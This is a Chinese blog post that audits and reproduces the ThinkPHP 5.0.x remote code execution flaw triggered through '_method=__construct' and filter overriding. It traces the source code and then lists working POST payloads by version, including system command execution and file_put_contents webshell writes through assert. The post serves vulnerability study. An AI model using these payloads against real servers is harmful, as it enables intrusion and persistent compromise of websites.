cute2333sdasda

我要留下我的脚印,让你知道这个夏天我路过你的世界,只是悄悄的留下。

前言

开始学习thinkphp框架,就从这里开始吧。学习下thinkphp5的一些rce漏洞,进行审计。

跟着大佬的博客进行学习复现!本此环境使用的是5.0.22版本的thinkphp

漏洞触发

Payload_1

先看payload是什么样子的

get
index.php?s=captcha
post
_method=__construct&filter[]=system&method=get&get[]=whoami

入口点是App.php文件,该文件是在\thinkphp\thinkphp\library\think目录下

image-20210826005323710

由此可以看出此处进行实例化了一个对象$request传给了routeCheck,在本文件中进行跟进

image-20210826005916541

跟进Route中的check方法也就是Route::check

image-20210826010358797

$method获取值是从request->$method()中获取的,然后$rules会根据不同的$method值来获取不同的路由规则。

由上可知跟进到了request.php中的method方法

image-20210826011626686

主要代码部分

if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);

payload中请求的路由是captcha,它的位置是/vendor/topthink/think-captcha/src/helper.php,根据它的注册规则。可以看到这里是传入get请求。

image-20210826135849315

在最后退出method方法后,return $this->method="get"才不会报错,印证了payload中的method=get

又因为在配置文件config.php中设置了默认配置为

image-20210826012216704

所以才会存在只要post一个_method参数即可进行判断,然后即可执行类的任意函数

看下request类的__construct()方法,

image-20210826013212190

property_exists检查对象或类是否具有该属性。大概意思为:在$options中遍历nameitem。如果存在该name则重新赋值$name=$item导致变量覆盖。且这里$options是用户可以控制输入的。所以这里相当于可以执行危险函数。

检测路由后会继续进行,应当进入exec方法了,也就是self::exec,进入其中的method分支

image-20210826140606828

发现回调,继续跟进Request::instance()->param()

image-20210826140804741

实例化了一个static对象,继续跟进param

image-20210826140955710

array_merge()方法,将两个数组合并为一个数组,这里是将传入的param参数与urlget方式提交的参数合并成一个数组。

param()方法最后返回

return $this->input($this->param, $name, $default, $filter);

再跟进$this->input()

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;
    }

此方法对输入的内容也就是接受到的参数进行一些过滤。,过滤器通过$this->getFilter获取

而上面已经分析过,传入的$this->filter=system传到input,而且也可以看到在初始化input方法时传入的$data是个数组。所以可以进入解析过滤器的部分,不会报错。

//解析过滤器
if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);

对于数组中的每一个值,都调用filterValue函数,也就是间接调用了call_user_func()函数,并且两个参数都是可控的,这就造成了RCE

image-20210826143959132

poc使用

image-20210826144141835

method __contruct导致的rce 各版本payload

转载自https://y4er.com/post/thinkphp5-rce

5.0&5.0.1-5.0.7

与debug无关

命令执行rce

POST 
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=POST&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写入木马getshell

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.8-5.0.13

与debug无关

命令执行rce

POST
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写入木马getshell

POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.14-5.0.23

默认debug=flase,需要开启debug才能命令执行。

POST
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写入木马getshell

POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
# 5.0.21以后
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.24

最后一个版本RCE被修复

总结

emm还是挺有意思的,虽然过程难受,刚入手有亿点点难,一个点能翻半天,但是总的来说,这样才能真正学到东西。收获还是蛮大的。

Reference

https://bbs.ichunqiu.com/article-1901-1.html

https://y4tacker.blog.csdn.net/article/details/113796433